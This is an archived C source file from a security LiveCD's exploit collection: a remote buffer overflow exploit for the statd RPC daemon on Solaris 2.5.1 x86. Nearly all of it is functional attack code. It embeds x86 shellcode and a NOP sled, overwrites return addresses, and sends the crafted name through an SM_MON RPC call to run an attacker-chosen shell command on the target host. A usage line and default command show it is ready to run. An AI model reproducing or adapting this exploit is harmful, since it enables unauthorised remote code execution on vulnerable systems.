home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / statdx86.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  108 lines

  1. /*
  2.  statd remote overflow, solaris 2.5.1 x86
  3.  there is a patch for statd in solaris 2.5, well, it looks like
  4.  they check only for '/' characters and they left overflow there ..
  5.  nah, it's solaris
  6.  
  7.  usage: ./r host [cmd]    # default cmd is "touch /tmp/blahblah"
  8.                         # remember that statd is standalone daemon
  9.  
  10.  Please do not distribute.
  11.  */
  12.  
  13. #include <sys/types.h>
  14. #include <sys/time.h>
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <netdb.h>
  18. #include <rpc/rpc.h>
  19. #include <rpcsvc/sm_inter.h>
  20. #include <sys/socket.h>
  21.  
  22. #define BUFSIZE 1024
  23. #define ADDRS 2+1+1+4
  24. #define ADDRP 0x8045570;
  25.  
  26. /* up to ~ 150 characters, there must be three strings */
  27. char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
  28.  
  29. char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
  30.                1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
  31. char nop[]="\x90";
  32.  
  33. char code[4096];
  34.  
  35. void usage(char *s)
  36. {
  37.   printf("Usage: %s host [cmd]\n", s);
  38.   exit(0);
  39. }
  40.  
  41. main(int argc, char *argv[])
  42. {
  43.   CLIENT *cl;
  44.   enum clnt_stat stat;
  45.   struct timeval tm;
  46.   struct mon monreq;
  47.   struct sm_stat_res monres;
  48.   struct hostent *hp;
  49.   struct sockaddr_in target;
  50.   int sd, i, noplen=strlen(nop);
  51.   char *ptr=code;
  52.  
  53.   if (argc < 2)
  54.     usage(argv[0]);
  55.   if (argc == 3)
  56.     cmd[2]=argv[2];
  57.  
  58.   for (i=0; i< sizeof(code); i++)
  59.     *ptr++=nop[i % noplen];
  60.  
  61.   strcpy(&code[750], asmcode);    /* XXX temp. */
  62.   ptr=code+strlen(code);
  63.   for (i=0; i<=strlen(cmd[0]); i++)
  64.     *ptr++=cmd[0][i]-1;
  65.   for (i=0; i<=strlen(cmd[1]); i++)
  66.     *ptr++=cmd[1][i]-1;
  67.   for (i=0; i<=strlen(cmd[2]); i++)
  68.     *ptr++=cmd[2][i]-1;
  69.   ptr=code+BUFSIZE-(ADDRS<<2);
  70.   for (i=0; i<ADDRS; i++, ptr+=4)
  71.     *(int *)ptr=ADDRP;
  72.   *ptr=0;
  73.  
  74.   printf("strlen = %d\n", strlen(code));
  75.  
  76.   memset(&monreq, 0, sizeof(monreq));
  77.   monreq.mon_id.my_id.my_name="localhost";
  78.   monreq.mon_id.my_id.my_prog=0;
  79.   monreq.mon_id.my_id.my_vers=0;
  80.   monreq.mon_id.my_id.my_proc=0;
  81.   monreq.mon_id.mon_name=code;
  82.  
  83.   if ((hp=gethostbyname(argv[1])) == NULL)
  84.     {
  85.       printf("Can't resolve %s\n", argv[1]);
  86.       exit(0);
  87.     }
  88.   target.sin_family=AF_INET;
  89.   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  90.   target.sin_port=0;    /* ask portmap */
  91.   sd=RPC_ANYSOCK;
  92.  
  93.   tm.tv_sec=10;
  94.   tm.tv_usec=0;
  95.   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL)
  96.     {
  97.       clnt_pcreateerror("clnt_create");
  98.       exit(0);
  99.     }
  100.   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  101.                  (char *)&monres, tm);
  102.   if (stat != RPC_SUCCESS)
  103.     clnt_perror(cl, "clnt_call");
  104.   else
  105.     printf("stat_res = %d.\n", monres.res_stat);
  106.   clnt_destroy(cl);
  107. }
  108. /*                    www.hack.co.za              [2000]*/